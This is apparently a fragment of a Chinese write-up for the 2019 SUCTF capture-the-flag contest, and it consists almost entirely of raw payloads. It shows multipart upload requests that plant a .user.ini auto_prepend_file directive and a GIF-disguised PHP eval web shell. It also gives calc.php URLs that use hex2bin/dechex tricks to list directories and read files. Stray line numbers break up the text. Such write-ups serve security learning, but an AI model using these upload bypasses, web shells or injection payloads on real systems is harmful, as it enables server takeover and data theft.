2019 SUCTF 部分题解

1
2
3
4
5
6
7
8
9
10
11
12

------WebKitFormBoundaryqyfYFBXMp3RAM0ib
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: application/octet-stream

GIF89a
auto_prepend_file=south.jpg
------WebKitFormBoundaryqyfYFBXMp3RAM0ib
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryqyfYFBXMp3RAM0ib--
1
2
3
4
5
6
7
8
9
10
11
------WebKitFormBoundaryqyfYFBXMp3RAM0ib
Content-Disposition: form-data; name="fileUpload"; filename="south.jpg"
Content-Type: application/octet-stream

GIF89a
<script language='php'>eval($_POST['south']);</script>
------WebKitFormBoundaryqyfYFBXMp3RAM0ib
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryqyfYFBXMp3RAM0ib--
1
http://dotul5q6roarctf.4hou.com.cn:39359/calc.php?%20num=var_dump(scandir(hex2bin(dechex(47))));
1
view-source:http://dotul5q6roarctf.4hou.com.cn:39359/calc.php?%20num=var_dump(file_get_contents(hex2bin(dechex(52115961636711))));